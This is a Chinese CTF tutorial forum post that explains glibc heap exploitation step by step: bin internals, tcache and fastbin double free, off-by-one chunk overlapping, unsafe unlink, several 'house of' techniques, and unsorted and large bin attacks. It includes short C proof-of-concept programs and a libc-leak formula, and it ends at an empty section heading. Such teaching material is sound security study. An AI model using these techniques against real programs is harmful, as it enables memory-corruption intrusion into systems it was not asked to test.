首页
社区
课程
招聘
[原创] CTF 中 glibc堆利用 及 IO_FILE 总结
发表于: 2022-3-30 15:55 39626

[原创] CTF 中 glibc堆利用 及 IO_FILE 总结

2022-3-30 15:55
39626

CTF 中 glibc堆利用 及 IO_FILE 总结

写在最前面

本文全文由winmt一人编写,初稿完成于2022.2.1,在编写过程中,参考了 《CTF竞赛权威指南(Pwn篇)》 一书,以及 raycp,风沐云烟,wjh,Ex,ha1vk 等众多大师傅的博客与 安全客,看雪论坛,先知社区,CTF-WiKi 上的部分优秀的文章,在此一并表示感谢。

 

本文主要着眼于glibc下的一些漏洞及利用技巧和IO调用链,由浅入深,分为 “基础堆利用漏洞及基本IO攻击” 与 “高版本glibc下的利用” 两部分来进行讲解,前者主要包括了一些glibc相关的基础知识,以及低版本glibc2.27及以前)下常见的漏洞利用方式,后者主要涉及到一些较新的glibc下的IO调用链。

 

本篇文章加入了大量笔者自己的理解,力求用尽可能直白的语言解释清楚一些漏洞的原理和利用方式,给初学者们良好的阅读体验,以少走一些弯路,但笔者本身比较菜,水平也很有限,加上这篇文章成稿的时间较短,因此难免会有一些错误,也欢迎各位读者和笔者进行交流讨论,笔者的邮箱是:wjcmt2003@qq.com

基础堆利用漏洞 及 基本IO攻击

Heap

低地址向高地址增长,可读可写首地址16字节对齐,未开启ASLRstart_brk紧接BSS段高地址处,开启了ASLR,则start_brk在BSS段高地址之后随机位移处。通过调用brk()sbrk()来移动program_break使得堆增长或缩减,其中brk(void* end_data_segment)的参数用于设置program_break的指向,sbrk(increment)的参数可正可负可零,用于与program_break相加来调整program_break的值,执行成功后,brk()返回0sbrk()会返回上一次program_break的值。

mmap

当申请的size大于mmap的阈值mp_.mmap_threshold(128*1024=0x20000)且此进程通过mmap分配的内存数量mp_.n_mmaps小于最大值mp_.n_mmaps_max,会使用mmap来映射内存给用户(映射的大小是页对齐的),所映射的内存地址与之前申请的堆块内存地址并不连续(申请的堆块越大,分配的地址越接近libc)。若申请的size并不大于mmap的阈值,但top chunk当前的大小又不足以分配,则会扩展top chunk,然后从top chunk里分配内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (chunk_is_mmapped (p))
{
  if (!mp_.no_dyn_threshold
      && chunksize_nomask (p) > mp_.mmap_threshold
      && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
  && !DUMPED_MAIN_ARENA_CHUNK (p))
    {
      mp_.mmap_threshold = chunksize (p);
      //假设申请的堆块大小为0x61A80,大于最小阈值,因此第一次malloc(0x61A80),使用mmap分配内存,当free这个用mmap分配的chunk时,对阈值(mp_.mmap_threshold)做了调整,将阈值设置为了chunksize,由于之前申请chunk时,size做了页对齐,所以,此时chunksize(p)为0x62000,也就是阈值将修改为0x62000
      mp_.trim_threshold = 2 * mp_.mmap_threshold;
      LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                  mp_.mmap_threshold, mp_.trim_threshold);
    }
  munmap_chunk (p);
  return;
}

泄露libc:在能够查看内存分配的环境下(本地vmmap,远程环境通过传非法地址泄露内存分配),通过申请大内存块,可通过利用mmap分配到的内存块地址与libc基址之间的固定偏移量泄露libc地址。

1
2
3
4
5
6
7
pwndbg> vmmap
......
0x555555602000     0x555555604000 rw-p   2000     2000    /pwn
0x555555604000     0x555555625000 rw-p   21000    0       [heap]
0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000   0       /libc-2.27.so
0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000   1e7000  /libc-2.27.so
......

其中0x7ffff79e4000就是本次libc的基地址。

struct malloc_chunk

在这个结构体中,包含了许多成员(考虑在64位下):

  1. pre_size:如果上一个chunk处于释放状态,则表示其大小;否则,作为上一个chunk的一部分,用于保存上一个chunk的数据(申请0x58的大小,加上chunk header0x10大小,理论需要分配0x68,考虑内存页对齐的话,甚至要分配0x70,但实际分配的却是0x60,因为共用了下个堆块pre_size的空间,故从上一个堆块的mem开始可以写到下一个堆块的pre_size)。
  2. size:当前堆块的大小,必须是0x10的整数倍。最后3个比特位被用作状态标识,其中最低两位:IS_MAPPED用于标识当前堆块是否是通过mmap分配的,最低位PREV_INUSE用于表示上一个chunk是否处于使用状态(1为使用,0为空闲),fast bintcache中堆块的下一个堆块中PRE_INUSE位均为1,因此在某些相邻的大堆块释放时,不会与之发生合并
  3. fdbk仅在当前chunk处于释放状态时才有效,chunk被释放后进入相应的binsfd指向该链表中下一个free chunkbk指向该链表中上一个free chunk;否则,均为用户使用的空间。
  4. fd_nextsizebk_nextsize仅在被释放的large chunk中,且加入了与当前堆块大小不同的堆块时才有效,用于指向该链表中下一个,上一个与当前chunk大小不同free chunk(因为large bin中每组bin容纳一个大小范围中的堆块),否则,均为用户使用的空间。
  5. 每次malloc申请得到的内存指针,其实指向user data的起始处。而在除了tcache的各类bin的链表中fdbk等指针却指向着chunk headertcachenext指针指向user data
  6. 所有chunk加入相应的bin时,里面原有的数据不会被更改,包括fd,bk这些指针,在该bin没有其他堆块加入的时候,也不会发生更改。

bins

1.fast bin

 

(1) 单链表,LIFO(后进先出),例如,A->B->C,加入D变为:D->A->B->C,拿出一个,先拿D,又变为A->B->C
(2) fastbinsY[0]容纳0x20大小的堆块,随着序号增加,所容纳的范围递增0x10,直到默认最大大小(DEFAULT_MXFAST0x80(但是其支持的fast bin的最大大小MAX_FAST_SIZE0xa0),mallopt(1,0)mallopt(M_MXFAST,0)MAX_FAST_SIZE设为0,禁用fast bin
(3) 当一个堆块加进fast bin时,不会对下一个堆块的PREV_INUSE进行验证(但是会对下一个堆块size的合法性进行检查),同样地,将一个堆块从fast bin中释放的时候,也不会对其下一个堆块的PREV_INUSE进行更改(也不会改下一个堆块的PREV_SIZE),只有触发malloc_consolidate()后才会改下一个堆块的PREV_INUSE

1
2
3
4
5
6
7
new(small_size); #1
new(large_size); #2
delete(1); #free into fastbin (next chunk's PREV_INUSE is still 1)
new(large_size); #3 trigger malloc_consolidate() => move 1_addr from fastbin to small bin (modify next chunk's PREV_INUSE to 0)
delete(1); # double free (free into fastbin)
new(small_size, payload); #get 1_addr from fastbin (don't modify next chunk's PREV_INUSE)
delete(2); #unsafe unlink

(4) 当申请一个大于large chunk最小大小(包括当申请的chunk需要调用brk()申请新的top chunk或调用mmap()函数时)的堆块之后,会先触发malloc_consolidate(),其本身会将fast bin内的chunk取出来,与相邻的free chunk合并后放入unsorted bin,或并入top chunk(如果无法与相邻的合并,就直接将其放入unsorted bin),然后由于申请的large chunk显然在fast bin,small bin内都找不到,于是遍历unsorted bin,将其中堆块放入small bin,large bin,因此最终的效果就是fast bin内的chunk与周围的chunk合并了(或是自身直接进入了unsorted bin),最终被放入了small bin,large bin,或者被并入了top chunk,导致fast bin均为空。
(5) 若freechunk和相邻的free chunk合并后的size大于FASTBIN_CONSOLIDATION_THRESHOLD(64k)(包括与top chunk合并),那么也会触发malloc_consolidate(),最终fast bin也均为空。
(6) 伪造fast bin时,要绕过在__int_malloc()中取出fake fast bin时,对堆块大小的检验。

 

2.unsorted bin

 

双链表,FIFO(先进先出),其实主要由bk连接,A<-B<-C进一个D变为D<-A<-B<-C,拿出一个C,变为D<-A<-Bbin中堆块大小可以不同,不排序。
一定大小的chunk被释放后在被放入small bin,large bin之前,会先进入unsorted bin
泄露libcunsorted_bin中最先进来的free chunkfd指针和最后进来的free chunkbk指针均指向了main_arena中的位置,在64位中,一般是,具体受libc影响,且main_arena的位置与__malloc_hook相差0x10,而在32位的程序中,main_arena的位置与__malloc_hook相差0x18,加入到unsorted bin中的free chunkfdbk通常指向的位置。

1
libc_base = leak_addr - libc.symbols['__malloc_hook'] - 0x10 - 88

此外,可修改正处在unsorted bin中的某堆块的size域,然后从unsorted bin中申请取出该堆块时,不会再检测是否合法,可进行漏洞利用。

 

3.small bin

 

双链表,FIFO(先进先出),同一个small bin内存放的堆块大小相同。
大小范围:0x20 ~ 0x3F0

 

4.large bin

 

双链表,FIFO(先进先出),每个bin中的chunk的大小不一致,而是处于一定区间范围内,里面的chunk从头结点的fd_nextsize指针开始,按从大到小的顺序排列,同理换成bk_nextsize指针,就是按从小到大的顺序排列。
需要注意,若现在large bin内是这样的:0x420<-(1)0x410(2)<-,再插一个0x410大小的堆块进去,会从(2)位置插进去。
large binsizeindex的对应如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
     size            index
[0x400 , 0x440)        64
[0x440 , 0x480)        65
[0x480 , 0x4C0)        66
[0x4C0 , 0x500)        67
[0x500 , 0x540)        68
等差 0x40   
[0xC00 , 0xC40)        96
------------------------------
[0xC40 , 0xE00)        97
------------------------------
[0xE00 , 0x1000)       98
[0x1000 , 0x1200)      99
[0x1200 , 0x1400)      100
[0x1400 , 0x1600)      101
等差 0x200   
[0x2800 , 0x2A00)      111
------------------------------
[0x2A00 , 0x3000)      112
------------------------------
[0x3000 , 0x4000)      113
[0x4000 , 0x5000)      114
等差 0x1000   
[0x9000 , 0xA000)      119
------------------------------
[0xA000 , 0x10000)     120
[0x10000 , 0x18000)    121
[0x18000 , 0x20000)    122
[0x20000 , 0x28000)    123
[0x28000 , 0x40000)    124
[0x40000 , 0x80000)    125
[0x80000 , …. )        126

5.tcache

 

(1) 单链表,LIFO(后进先出),每个bin内存放的堆块大小相同,且最多存放7个,大小从24 ~ 1032个字节,用于存放non-largechunk
(2) tcache_perthread_struct本身也是一个堆块,大小为0x250,位于堆开头的位置,包含数组counts存放每个bin中的chunk当前数量,以及数组entries存放64bin的首地址(可以通过劫持此堆块进行攻击)。
(3) 在释放堆块时,在放入fast bin之前,若tcache中对应的bin未满,则先放入tcache中。
(4) 从fast bin返回了一个chunk,则单链表中剩下的堆块会被放入对应的tcache bin中,直到上限。
small bin返回了一个chunk,则双链表中剩下的堆块会被放入对应的tcache bin中,直到上限。
在将剩余堆块从small bin放入tcache bin的过程中,除了检测了第一个堆块的fd指针,都缺失了__glibc_unlikely (bck->fd != victim)的双向链表完整性检测。
(5) binning code,如在遍历unsorted bin时,每一个符合要求的chunk都会优先被放入tcache,然后继续遍历,除非tcache已经装满,则直接返回,不然就在遍历结束后,若找到了符合要求的大小,则把tcache中对应大小的返回一个。
(6) 在__libc_malloc()调用__int_malloc()之前,如果tcache bin中有符合要求的chunk就直接将其返回。
(7) CVE-2017-17426libc-2.26存在的漏洞,libc-2.27已经修复。
(8) 可将tcache_count整型溢出为0xff以绕过tcache,直接放入unsorted bin等,但在libc-2.28中,检测了counts溢出变成负数(0x00-1=0xff)的情况,且增加了对double free的检查。
(9) calloc()越过tcachechunk,通过calloc()分配的堆块会清零补充:realloc()的特殊用法:size == 0时,等同于freerealloc_ptr == 0 && size > 0 时等同于malloc。如果当前连续内存块足够realloc的话,只是将p所指向的空间扩大,并返回p的指针地址;如果当前连续内存块不够,则再找一个足够大的地方,分配一块新的内存q,并将p指向的内容copyq,返回 q。并将p所指向的内存空间free;若是通过realloc缩小堆块,则返回的指针p不变,但原先相比缩小后多余的那部分将会被free掉。

 

6.top chunk

 

除了house of force外,其实对于top chunk还有一些利用点。
当申请的size不大于mmap的阈值,但top chunk当前的大小又不足以分配,则会扩展top chunk,然后从新top chunk里进行分配。
这里的扩展top chunk,其实不一定会直接扩展原先的top chunk,可能会先将原先的top chunkfree掉,再在之后开辟一段新区域作为新的top chunk
具体是,如果brk等于该不够大小的top chunk(被记作old_top_chunk)的end位置(old_end,等于old_top + old_size),即top chunksize并没有被修改,完全是自然地分配堆块,导致了top chunk不够用,则会从old_top处开辟更大的一块空间作为新的top chunk,也就是将原先的old_top_chunk进行扩展了,此时没有free,且top chunk的起始位置也没有改变,但是如果brk不等于old_end,则会先freeold_top_chunk,再从brk处开辟一片空间作为new_top_chunk,此时的top chunk头部位置变为了原先的brk,而如今的brk也做了相应的扩展,并且unsorted bintcache中(一般修改的大小都至少会是small bin范围,但具体在哪得分情况看)会有被freeold_top_chunk
因此,可以通过改小top chunksize,再申请大堆块,做到对旧top chunkfree,不过修改的size需要绕过一些检测。
相关源码如下:

1
2
3
4
5
6
7
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size)); // old_end = old_top + old_size
assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));

需要绕过以上的断言,主要就是要求被修改的top chunksizeprev_inuse位要为1并且old_end要内存页对齐,所以就要求被修改的size的后三位和原先要保持一致。

Use-After-Free (UAF)

free(p)后未将p清零,若是没有其他检查的话,可能造成UAF漏洞。
double free就是利用UAF漏洞的经典例子。

 

1.fast bindouble free

 

(1) fast bindouble free有检查,会检查当前的chunk是否与fast bin顶部的chunk相同,如果相同则报错并退出。因此,我们不能连续释放两次相同的chunk
可采用如下方式在中间添加一个chunk便绕过检查:
释放A,单链表为A,再释放B,单链表为B->A,再释放A,单链表为A->B->A,然后申请到A,同时将其中内容改成任意地址(改的是fd指针),单链表就成了B->A->X,其中X就是任意地址,这样再依次申请BA后,再申请一次就拿到了地址X,可以在地址X中任意读写内容。
(2) 其实,若是有Edit功能的话,可以有如下方式:
若当前单链表是B->A,将Bfd指针通过Edit修改为任意地址X,单链表就变成了B->X,申请了B之后,再申请一次,就拿到了X地址,从而进行读写。
需要注意的是,以上的X准确说是fake chunkchunk header地址,因为fast bin会检测chunk_header_addr + 8(即size)是否符合当前bin的大小。

 

2.tcachedouble free

 

libc-2.28之前并不会检测double free,因此可以连续两次释放同一个堆块进入tcache,并且tcachenext指针指向的是user data,因此不会做大小的检测。
释放A,单链表为A,再释放A,单链表为A->A,申请A并把其中内容(next指针)改成X,则单链表为A->X,再申请两次,拿到X地址的读写权。
在以上过程结束后,实际上是放进tcache了两次,而申请取出了三次,因此当前tcachecounts会变成0xff,整型溢出,这是一个可以利用的操作,当然若是想避免此情况,在第一次释放A之前,可以先释放一次B,将其放入此tcache bin即可。
此外,若是有Edit功能,仿照上述 fast bin对应操作的技术被称为tcache_poisoning

 

3.glibc2.31下的double free

 

glibc2.29之后加入了对tcache二次释放的检查,方法是在tcache_entry结构体中加入了一个标志key,用于表示chunk是否已经在所属的tcache bin中,对于每个chunk而言,key在其bk指针的位置上。
chunk被放入tcache bin时会设置key指向其所属的tcache结构体:e->key = tcache;,并在free时,进入tcache bin之前,会进行检查:如果是double free,那么putkey字段被设置了tcache,就会进入循环被检查出来;如果不是,那么key字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)的可能行进入循环,然后循环发现并不是double free。这是一个较为优秀的算法,进行了剪枝,具体源码如下:

1
2
3
4
5
6
7
8
if (__glibc_unlikely(e->key == tcache))
{
    tcache_entry *tmp;
    LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
      if (tmp == e)
        malloc_printerr("free(): double free detected in tcache 2");
}

可通过fast bin double free+tcache stash机制来进行绕过:
(1) 假设目前tcache被填满了:C6->C5->C4->C3->C2->C1->C0fast bin中为:C7->C8->C7
(2) 下一步,为了分配到fast bin,需要先申请7个,让tcache为空(或calloc),再次申请时就会返回fast bin中的C7,同时由于tcache stash机制,fast bin中剩下的C8,C7均被放入了tcache bin,此时,在C7fd字段写入target_addr(相当于获得了Edit功能),于是target_addr也被放入了tcache bin,因此这里target_addr处甚至不需要伪造sizetarget_addr指向user data区)。
(3) 此时,tcache bin中单链表为:C8->C7->target_addr,再申请到target_addr,从而得到了一个真正的任意写。
补充:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include
#include
 
int main()
{
    void *ptr[15];
    for(int i=0;i<=9;i++)ptr[i]=malloc(0x20);
    for(int i=0;i<7;i++)free(ptr[i]);
    free(ptr[7]);
    free(ptr[8]);
    free(ptr[7]); //free(ptr[9]);
    for(int i=0;i<7;i++)malloc(0x20);
    malloc(0x20);
    return 0;
}

上述代码,若是按注释中的写,则在没有触发tcache stash机制时,fast bin中为C9->C8->C7,取走C9,最终tcache bin中是C7->C8,符合设想(依次取C8C7放入tcache bin)。
然而,若是double free chunk_7,则在没有触发tcache stash机制时,fast bin中为C7->C8->C7,取走C7,最终tcache bin中是C8->C7->C8,而若是按照tcache bin放入的规则,应该也是类似于C7->C8,不符合设想。
流程如下:
(1) 取C8放入tcache bin,同时REMOVE_FB (fb, pp, tc_victim);会清空C8next(fd)指针,并且将链表头设置为指向C8原先fd指针指向的堆块C7(源码分析如下)。

1
2
3
4
5
6
7
8
9
10
#define REMOVE_FB(fb, victim, pp)//摘除一个空闲chunk
do
{
    victim = pp;
    if (victim == NULL)
    break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) != victim);
//catomic_compare_and_exchange_val_rel_acq 功能是 如果*fb等于victim,则将*fb存储为victim->fd,返回victim;
//其作用是从刚刚得到的空闲chunk链表指针中取出第一个空闲的chunk(victim),并将链表头设置为该空闲chunk的下一个chunk(victim->fd)

(2) 目前fast bin中为C7->C8(最开始取走C7并不清空其fd字段),然后根据tcache bin的放入规则,最终依次放入后为C8->C7->C8

 

4.当可以Edit时,往往就不需要double free了,而有些情况看似不能对空闲中的堆块进行Edit(比如存放长度的数组在free后会清零),但是可以利用UAF漏洞对处于空闲状态的堆块进行Edit,例如:

1
2
3
4
5
malloc(0x20) #1
free(1)
malloc(0x20) #2
free(1) #UAF
Edit(2, payload)

此时,我们编辑chunk 2,实则是在对已经freechunk 1进行编辑。

off by one

缓冲区溢出了一个字节,由于glibc的空间复用技术(即pre_size给上一个allocated的堆块使用),所以可通过off by one修改下一个堆块的size域。
经常是由于循环次数设置有误造成了该漏洞的产生。比较隐蔽的是strcpy会在复制过去的字符串末尾加\x00,可能造成poison null byte,例如,strlenstrcpy 的行为不一致可能会导致off-by-one 的发生:strlen 在计算字符串长度时是不把结束符\x00计算在内的,但是strcpy在复制字符串时会拷贝结束符 \x00
off by one经常可以与Chunk Extend and Overlapping配合使用。

  1. 扩展被释放块: 当可溢出堆块的下一个堆块处在unsorted bin中,可以通过溢出单字节扩大下一个堆块的size域,当申请新sizeunsorted bin中取出该堆块时,就会造成堆块重叠,从而控制原堆块之后的堆块。该方法的成功依赖于:malloc并不会对free chunk的完整性以及next chunkprev_size进行检查,甚至都不会查next chunk的地址是不是个堆块。
    libc-2.29增加了检测next chunkprev_size,会报错:malloc(): mismatching next->prev_size (unsorted),也增加了检测next chunk的地址是不是个堆块,会报错malloc(): invalid next size (unsorted)
    libc-2.23(11)的版本,当释放某一个非fast bin的堆块时,若上/下某堆块空闲,则会检测该空闲堆块的size与其next chunkprev_size是否相等。
  2. 扩展已分配块: 当可溢出堆块的一个堆块(通常是fast bin,small bin)处于使用状态中时,单字节溢出可修改处于allocated的堆块的size域,扩大到下面某个处于空闲状态的堆块处,然后将其释放,则会一直覆盖到下面的此空闲堆块,造成堆块重叠。
    此时释放处于使用状态的堆块,由于是根据处于使用中的堆块的size找到下一个堆块的,而若是上一个堆块处于使用中,那么下一个堆块的prev_size就不会存放上一个堆块的大小,而是进行空间复用,存放上一个堆块中的数据,因此,此时不论有没有sizenext chunkprev_size的一致性检测,上述利用都可以成功。
    同理,若将堆块大小设成0x10的整数倍,就不会复用空间,此时单字节溢出就可以修改next chunkprev_size域,然后将其释放,就会与上面的更多的堆块合并,造成堆块重叠,当然此时需要next chunkprev_inuse为零。
    当加入了对当前堆块的size与下一个堆块的prev_size的比对检查后,上述利用就难以实现了。
  3. 收缩被释放块: 利用poison null byte,即溢出的单字节为\x00的情况。通过单字节溢出可将下一个被释放块的size域缩小,而此被释放块的下一个堆块(allocated)的prev_size并不会被更改(将已被shrink的堆块进行切割,仍不会改变此prev_size域),若是将此被释放块的下一个堆块释放,则还是会利用原先的prev_size找到上一个被释放块进行合并,这样就造成了堆块重叠。
    同样,当加入了对当前堆块的size与下一个堆块的prev_size的比对检查后,上述利用就难以实现了。
  4. house of einherjar: 同样是利用poison null byte,当可溢出堆块的下一个堆块处于使用中时,通过单字节溢出,可修改next chunkprev_inuse位为零(0x101->0x100),同时将prev_size域改为该堆块与目标堆块位置的偏移,再释放可溢出堆块的下一个堆块,则会与上面的堆块合并,造成堆块重叠。值得一提的是,house of einherjar不仅可以造成堆块重叠,还具备将堆块分配到任意地址的能力,只要把上述的目标堆块改为fake chunk的地址即可,因此通常需要泄露堆地址,或者在栈上伪造堆。

unsafe unlink

unlink:由经典的链表操作FD=P->fd;BK=P->bk;FD->bk=BK;BK->fd=FD;实现,这样堆块P就从该双向链表中取出了。
unlink中有一个保护检查机制:(P->fd->bk!=P || P->bk->fd!=P) == False,需要绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include
#include
#include
 
uint64_t *chunk0_ptr;
int main()
{
    int malloc_size = 0x80; //避免进入fast bin
    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    //chunk0_ptr指向堆块的user data,而&chunk0_ptr是指针的地址,其中存放着该指针指向的堆块的fd的地址
    //0x90的chunk0的user data区伪造一个大小为0x80的fake chunk
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    chunk0_ptr[1] = 0x80; //高版本会有(chunksize(P)!=prev_size(next_chunk(P)) == False)的检查
    //绕过检测((P->fd->bk!=P || P->bk->fd!=P) == False):
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr - 0x18; //设置fake chunk的fd
    //P->fd->bk=*(*(P+0x10)+0x18)=*(&P-0x18+0x18)=P
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr - 0x10; //设置fake chunk的bk
    //P->bk->fd=*(*(P+0x18)+0x10)=*(&P-0x10+0x10)=P
 
    uint64_t *chunk1_hdr = chunk1_ptr - 0x10; //chunk1_hdr指向chunk1 header
    chunk1_hdr[0] = malloc_size; //往上寻找pre(fake) chunk
    chunk1_hdr[1] &= ~1; //prev_inuse -> 0
 
    //高版本需要先填满对应的tcache bin
    free(chunk1_ptr); //触发unlink,chunk1找到被伪造成空闲的fake chunk想与之合并,然后对fake chunk进行unlink操作
    //P->fd->bk=P=P->bk,P->bk->fd=P=P->fd,即最终P=*(P+0x10)=&P-0x18
 
    char victim_string[8] = "AAAAAAA";
    chunk0_ptr[3] = (uint64_t) victim_string; //*(P+0x18)=*(&P)=P=&str
 
    chunk0_ptr[0] = 0x42424242424242LL; //*P=*(&str)=str=BBBBBBB
    fprintf(stderr, "New Value: %s\n",victim_string); //BBBBBBB
    return 0;
}

house of spirit

对于fast bin,可以在栈上伪造两个fake chunk,但需要绕过检查,应满足第一个fake chunk的标志位IS_MMAPPEDNON_MAIN_ARENA均为零(PREV_INUSE并不影响释放),且要求其大小满足fast bin的大小,对于其next chunk,即第二个fake chunk,需要满足其大小大于0x10,小于av->system_mem0x21000)才能绕过检查。之后,伪造指针P = & fake_chunk1_mem,然后free(P)fake_chunk1就进入了fast bin,之后再申请同样大小的内存,即可取出fake_chunk1,获得了栈上的任意读写权(当然并不局限于在栈上伪造)。
该技术在libc-2.26中仍然适用,可以对tcache做类似的操作,甚至没有对上述next chunk的检查。

house of force

主要思路为:将top chunksize改为一个很大的数,就可以始终让top chunk满足切割条件,而恰好又没有对其的检查,故可利用此漏洞,top chunk的地址加上所请求的空间大小造成了整型溢出,使得top chunk被转移到内存中的低地址区域(如bss段,data段,got表等等),接下来再次请求空间,就可以获得转移地址后面的内存区域的控制权。

  1. 直接将top chunksize域赋成-1,通过整型溢出为0xffffffffffffffff
  2. 将需要申请的evil_size设为target_addr - top_ptr - 0x10*2,这里的top_ptr指向top chunkchunk header处。
  3. 通过malloc(evil_size)申请堆块,此时由于top chunksize很大,会绕过检查,通过top chunk进行分配,分配后,top chunk被转移到:top_ptr + (evil_size + 0x10) = target_addr - 0x10处。
  4. 之后,再申请P = malloc(X),则此时P指向target_addr,继而可对此地址进行任意读写的操作。

house of rabbit

house of rabbit是利用malloc_consolidate()合并机制的一种方法。
malloc_consolidate()函数会将fastbin中的堆块之间或其中堆块与相邻的freed状态的堆块合并在一起,最后达到的效果就是将合并完成的堆块(或fastbin中的单个堆块)放进了smallbin/largebin中,在此过程中,并不会对fastbin中堆块的sizefd指针进行检查,这是一个可利用点。

  1. fastbin中的堆块size可控(比如off by one等)
    比如现在fastbin有两个0x20的堆块A -> B,其中chunk Bchunk A的上方,我们将chunk Bsize改为0x40,这样就正好包含了chunk A,且fake chunk B下面的堆块也就是chunk A下方的堆块,也是合法的,假设这个堆块不是freed的状态,那么触发malloc_consolidate()之后,smallbin里就会有两个堆块,一个是chunk A,另外一个是fake chunk B,其中包含了chunk A,这样就实现了堆块重叠。

  2. fastbin中的堆块fd可控(比如UAF漏洞等)
    其实就是将fastbin中的堆块的fd改为指向一个fake chunk,然后通过触发malloc_consolidate()之后,使这个fake chunk完全“合法化”。不过,需要注意伪造的是fake chunk's next chunksize与其next chunk's next chunksizeprev_inuse位要为1)。

unsorted bin attack

unsorted bin into stack的原理比较简单,就是在栈上伪造一个堆块,然后修改unsorted bin中某堆块的bk指针指向此fake chunk,通过申请到此fake chunk达到对栈上地址的读写权。需要注意的是高版本有tcache的情况,此时在unsorted bin中找到一个合适大小的堆块后并不会直接返回,而是会放入tcache bin中,直到上限,若是某时刻tcache_count达到上限,则直接返回该fake chunk,不然会继续遍历,并在最后从tcache bin中取出返回给用户,此时就要求fake chunkbk指针指向自身,这样就可以通过循环绕过。
再来看真正的unsorted bin attack,其实在上述利用中,fake chunkfd指针被修改成了unsorted bin的地址,位于main_arena,甚至可以通过泄露其得到libc的基地址,当然也可以通过这个利用,将任意地址中的值改成很大的数(如global_max_fast),这就是unsorted bin attack的核心,其原理是:当某堆块victimunsorted bin list中取出时,会进行bck = victim->bk; unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av);的操作。
例如,假设chunk_Aunsorted bin中,此时将chunk_Abk改成&global_max_fast - 0x10,然后取出chunk_A,那么chunk_A->bk->fd,也就是global_max_fast中就会写入unsorted bin地址,即一个很大的数。若是在高版本有tcache的情况下,可通过放入tcache的次数小于从中取出的次数,从而整型溢出,使得tcache_count为一个很大的数,如0xff,就可以解决unsorted bin into stack中提到的tcache特性带来的问题。

large bin attack

假设当前chunk_Alarge bin中,修改其bkaddr1 - 0x10,同时修改其bk_nextsizeaddr2 - 0x20,此时chunk_B加入了此large bin,其大小略大于chunk_A,将会进行如下操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
else
{
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;//1
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;//2
}
...
bck = fwd->bk;
...
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//3

其中,victim就是chunk_B,而fwd就是修改过后的chunk_A,注意到3bck->fd = victim,同时,把1带入2可得到:fwd->bk_nextsize->fd_nextsize=victim,因此,最终addr1addr2地址中的值均被赋成了victimchunk_Bchunk header地址,也是一个很大的数。

house of storm

一种large bin attack配合类似于unsorted bin into stack的攻击手段,适用于libc-2.30版本以下,由于基本可以被IO_FILE attack取代,目前应用情景并不是很广泛,但是其思路还是挺巧妙的,所以这里也介绍一下。
我们想用类似于unsorted bin into stack的手段,将某个unsorted binbk指向我们需要获得读写权限的地址,然后申请到该地址,但是我们又没办法在该地址周围伪造fake chunk,这时候可以配合large bin attack进行攻击。
假设需要获取权限的目标地址为addr,我们首先将某个unsorted binlarge bin大小,大小为X,地址为Z)的bk指向addr-0x20,然后将此时large bin中某堆块(大小为YX略大于Y)的bk设为addr-0x18bk_nextsize设为addr-0x20-0x20+3
这时通过申请0x50大小的堆块(后面解释),然后unsorted bin的那个堆块会被放入large bin中,先是addr-0x10被写入main_arena+88(在此攻击手段中用处不大),然后由于large bin attack,在地址Z对应的堆块从unsorted bin被转入large bin后,addr-0x8会被写入地址Z,从addr-0x20+3开始也会写入地址Z,造成的结果就是addr-0x18处会被写入了0x550x56(即地址Z的最高位),相当于伪造了size
此时的情形如下:

1
2
3
addr-0x20:    0x4d4caf8060000000    0x0000000000000056
addr-0x10:    0x00007fe2b0e39b78    0x0000564d4caf8060
addr: ...

这时,由于之前申请了0x50大小的堆块(解释了设置large binbk_nextsize的目的,即为伪造size),那么就会申请到chunk header位于addr-0x20fake chunk返回给用户,此时需要访问到fake chunkbk指针指向的地址(bck->fd = victim),因此需要其为一个有效的地址,这就解释了设置large binbk的目的。
最后需要说明的是,当开了地址随机化之后,堆块的地址最高位只可能是0x550x56,而只有当最高位为0x56的时候,上述攻击方式才能生效,这里其实和伪造0x7f而用0x7_后面加上其他某个数可能就不行的原因一样,是由于__libc_malloc中有这么一句断言:

1
2
assert(!victim || chunk_is_mmapped(mem2chunk(victim))
       || ar_ptr == arena_for_chunk(mem2chunk(victim)));

过上述检测需要满足以下一条即可:

  1. victim0 (没有申请到内存)
  2. IS_MMAPPED1 (是mmap的内存)
  3. NON_MAIN_ARENA0 (申请到的内存必须在其所分配的arena中)
    而此时由于是伪造在别处的堆块,不满足我们常规需要满足的第三个条件,因此必须要满足第二个条件了,查看宏定义#define IS_MMAPPED 0x2#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)可知,需要size & 0x2不为0才能通过mmap的判断。

值得一提的是,由于addr-0x8(即fake chunkbk域)被写入了地址Z,因此最终在fake chunk被返还给用户后,unsorted bin中仍有地址Z所对应的堆块(已经被放入了large bin中),且其fd域被写入了main_arena+88bck->fd = unsorted_chunks(av))。

tcache_stashing_unlink_attack

